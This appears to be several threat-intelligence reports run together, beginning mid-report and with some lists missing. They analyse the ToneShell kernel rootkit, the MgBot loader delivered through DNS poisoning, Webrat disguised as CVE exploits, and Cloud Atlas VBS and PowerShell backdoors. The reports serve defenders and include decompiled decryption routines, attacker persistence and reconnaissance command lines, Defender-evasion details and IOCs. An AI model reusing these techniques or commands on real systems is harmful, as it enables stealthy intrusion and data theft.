To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.
The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.
The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:
Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.
Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.
The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.
Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.
This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.
The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.
The driver delivers two user-mode payloads.
The first payload spawns an svchost process and injects a small delay-inducing shellcode. The PID of this new svchost instance is written to a file for later use.
The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.
Injection workflow:
The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.
After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.
Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.
The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.
Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.
The samples we have analyzed contact two command-and-control servers:
ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.
Packet layout:
The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:
| Command ID | Description |
| 0x1 | Create temporary file for incoming data |
| 0x2 / 0x3 | Download file |
| 0x4 | Cancel download |
| 0x7 | Establish remote shell via pipe |
| 0x8 | Receive operator command |
| 0x9 | Terminate shell |
| 0xA / 0xB | Upload file |
| 0xC | Cancel upload |
| 0xD | Close connection |
We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.
HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.
Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.
To protect themselves against this threat, organizations should:
By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.
More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.
36f121046192b7cac3e4bec491e8f1b5 AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83 AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777 ProjectConfiguration.sys
avocadomechanism[.]com ToneShell C2
potherbreference[.]com ToneShell C2
The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.
The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.
Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.
In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:
http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe
There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.
Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.
The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.
The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:
for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:
%ProgramData%\Microsoft\MFhttp://www.dictionary.com/image?id=115832434703699686&product=dict-homepage.pngThe malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.
Decryption routine of encrypted strings
If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.
As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.
unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.
If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.
To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:
sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d
This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.
Downloading a payload from the web resource
From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:
key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.
Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.
Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.
We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.
The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.
The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.
General overview of storing payload on disk by using hybrid encryption
This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.
The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.
After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.
Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.
Decryption of the configuration in the injected MgBot implant
Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.
The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.
The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.
As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.
The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.
File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)
File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat
URLs and IPs
60.28.124[.]21 (MgBot C2)
123.139.57[.]103 (MgBot C2)
140.205.220[.]98 (MgBot C2)
112.80.248[.]27 (MgBot C2)
116.213.178[.]11 (MgBot C2)
60.29.226[.]181 (MgBot C2)
58.68.255[.]45 (MgBot C2)
61.135.185[.]29 (MgBot C2)
103.27.110[.]232 (MgBot C2)
117.121.133[.]33 (MgBot C2)
139.84.170[.]230 (MgBot C2)
103.96.130[.]107 (AitM C2)
158.247.214[.]28 (AitM C2)
106.126.3[.]78 (AitM C2)
106.126.3[.]56 (AitM C2)
In early 2025, security researchers uncovered a new malware family named Webrat. Initially, the Trojan targeted regular users by disguising itself as cheats for popular games like Rust, Counter-Strike, and Roblox, or as cracked software. In September, the attackers decided to widen their net: alongside gamers and users of pirated software, they are now targeting inexperienced professionals and students in the information security field.
In October, we uncovered a campaign that had been distributing Webrat via GitHub repositories since at least September. To lure in victims, the attackers leveraged vulnerabilities frequently mentioned in security advisories and industry news. Specifically, they disguised their malware as exploits for the following vulnerabilities with high CVSSv3 scores:
| CVE | CVSSv3 |
| CVE-2025-59295 | 8.8 |
| CVE-2025-10294 | 9.8 |
| CVE-2025-59230 | 7.8 |
This is not the first time threat actors have tried to lure security researchers with exploits. Last year, they similarly took advantage of the high-profile RegreSSHion vulnerability, which lacked a working PoC at the time.
In the Webrat campaign, the attackers bait their traps with both vulnerabilities lacking a working exploit and those which already have one. To build trust, they carefully prepared the repositories, incorporating detailed vulnerability information into the descriptions. The information is presented in the form of structured sections, which include:
Contents of the repository
In all the repositories we investigated, the descriptions share a similar structure, characteristic of AI-generated vulnerability reports, and offer nearly identical risk mitigation advice, with only minor variations in wording. This strongly suggests that the text was machine-generated.
The Download Exploit ZIP link in the Download & Install section leads to a password-protected archive hosted in the same repository. The password is hidden within the name of a file inside the archive.
The archive downloaded from the repository includes four files:
The execution flow and capabilities of rasmanesc.exe
Webrat is a backdoor that allows the attackers to control the infected system. Furthermore, it can steal data from cryptocurrency wallets, Telegram, Discord and Steam accounts, while also performing spyware functions such as screen recording, surveillance via a webcam and microphone, and keylogging. The version of Webrat discovered in this campaign is no different from those documented previously.
Previously, Webrat spread alongside game cheats, software cracks, and patches for legitimate applications. In this campaign, however, the Trojan disguises itself as exploits and PoCs. This suggests that the threat actor is attempting to infect information security specialists and other users interested in this topic. It bears mentioning that any competent security professional analyzes exploits and other malware within a controlled, isolated environment, which has no access to sensitive data, physical webcams, or microphones. Furthermore, an experienced researcher would easily recognize Webrat, as it’s well-documented and the current version is no different from previous ones. Therefore, we believe the bait is aimed at students and inexperienced security professionals.
The threat actor behind Webrat is now disguising the backdoor not only as game cheats and cracked software, but also as exploits and PoCs. This indicates they are targeting researchers who frequently rely on open sources to find and analyze code related to new vulnerabilities.
However, Webrat itself has not changed significantly from past campaigns. These attacks clearly target users who would run the “exploit” directly on their machines — bypassing basic safety protocols. This serves as a reminder that cybersecurity professionals, especially inexperienced researchers and students, must remain vigilant when handling exploits and any potentially malicious files. To prevent potential damage to work and personal devices containing sensitive information, we recommend analyzing these exploits and files within isolated environments like virtual machines or sandboxes.
We also recommend exercising general caution when working with code from open sources, always using reliable security solutions, and never adding software to exclusions without a justified reason.
Kaspersky solutions effectively detect this threat with the following verdicts:
Malicious GitHub repositories
https://github[.]com/RedFoxNxploits/CVE-2025-10294-Poc
https://github[.]com/FixingPhantom/CVE-2025-10294
https://github[.]com/h4xnz/CVE-2025-10294-POC
https://github[.]com/usjnx72726w/CVE-2025-59295/tree/main
https://github[.]com/stalker110119/CVE-2025-59230/tree/main
https://github[.]com/moegameka/CVE-2025-59230
https://github[.]com/DebugFrag/CVE-2025-12596-Exploit
https://github[.]com/themaxlpalfaboy/CVE-2025-54897-LAB
https://github[.]com/DExplo1ted/CVE-2025-54106-POC
https://github[.]com/h4xnz/CVE-2025-55234-POC
https://github[.]com/Hazelooks/CVE-2025-11499-Exploit
https://github[.]com/usjnx72726w/CVE-2025-11499-LAB
https://github[.]com/modhopmarrow1973/CVE-2025-11833-LAB
https://github[.]com/rootreapers/CVE-2025-11499
https://github[.]com/lagerhaker539/CVE-2025-12595-POC
Webrat C2
http://ezc5510min[.]temp[.]swtest[.]ru
http://shopsleta[.]ru
MD5
28a741e9fcd57bd607255d3a4690c82f
a13c3d863e8e2bd7596bac5d41581f6a
61b1fc6ab327e6d3ff5fd3e82b430315
Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.
Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo
Malicious template with the exploit loaded by Word when opening the document
We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.
Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.
This infection chain largely follows the one previously seen in Cloud Atlas’ 2024 attacks. The currently employed chain is presented below:
Malware execution flow
Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:
In this research, we’ll focus on new and updated components.
Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.
The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.
VBShower::Payload (1)
The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:
wscript.exe /B %Public%\Libraries\MicrosoftEdgeUpdate.vbs
It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:
cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftEdgeUpdateTask
The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).
Here is an example of the information present in the v_buff variable:
Libraries: desktop.ini-175| MicrosoftEdgeUpdate.vbs-2299| RecordedTV.library-ms-999| upgrade.mds-32840| v.log-2299|
The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.
VBShower::Payload (2) used to install VBCloud
Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.
In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.
Here is an example of information to be sent to the C2 server:
vlc: a.xml-969608| b.xml-592960| d.xml-2680200| e.xml-185224|| access: c.xml-5951488|
In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.
VBShower::Payload (2) used to install CloudAtlas
This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.
These files are copied by VBShower::Payload (3) to the following paths:
| File | Path |
| a.xml | %LOCALAPPDATA%\vlc\vlc.exe |
| b.xml | %LOCALAPPDATA%\vlc\chambranle |
| c.xml | %LOCALAPPDATA%\vlc\plugins\access\libvlc_plugin.dll |
| d.xml | %LOCALAPPDATA%\vlc\libvlccore.dll |
| e.xml | %LOCALAPPDATA%\vlc\libvlc.dll |
Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:
cmd.exe /c schtasks /query /v /fo CSV /tn MicrosoftVLCTaskMachine
Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).
VBShower::Payload (3) used to install CloudAtlas
This script was previously described as VBShower::Payload (1).
This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:
GET-https://webdav.yandex.ru| 200| <!DOCTYPE html><html lang="ru" dir="ltr" class="desktop"><head><base href="...
VBShower::Payload (5)
This script was previously described as VBShower::Payload (2).
This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.
VBShower::Payload (7)
This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:
"HKCU\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe"::"WindowPosition"::5122 "HKCU\UConsole\taskeng.exe"::"WindowPosition"::538126692
powershell.exe -ep bypass -w 01 %APPDATA%\Adobe\AdobeMon.ps1
"%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1"."%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower
The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.
Content of AdobeMon.ps1 (PowerShower)
This is a small script for collecting information about the system proxy settings.
VBShower::Payload (9)
On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.
The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.
VBCloud::Launcher
The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.
Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.
The FileGrabber payload has the following limitations when scanning for files:
Part of VBCloud::Payload (FileGrabber)
As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.
Decoded PowerShower script
In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.
This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.
This script is used for grabbing files with metadata from a network share.
PowerShower::Payload (2)
As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".
When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.
Encrypted and decrypted loader configuration
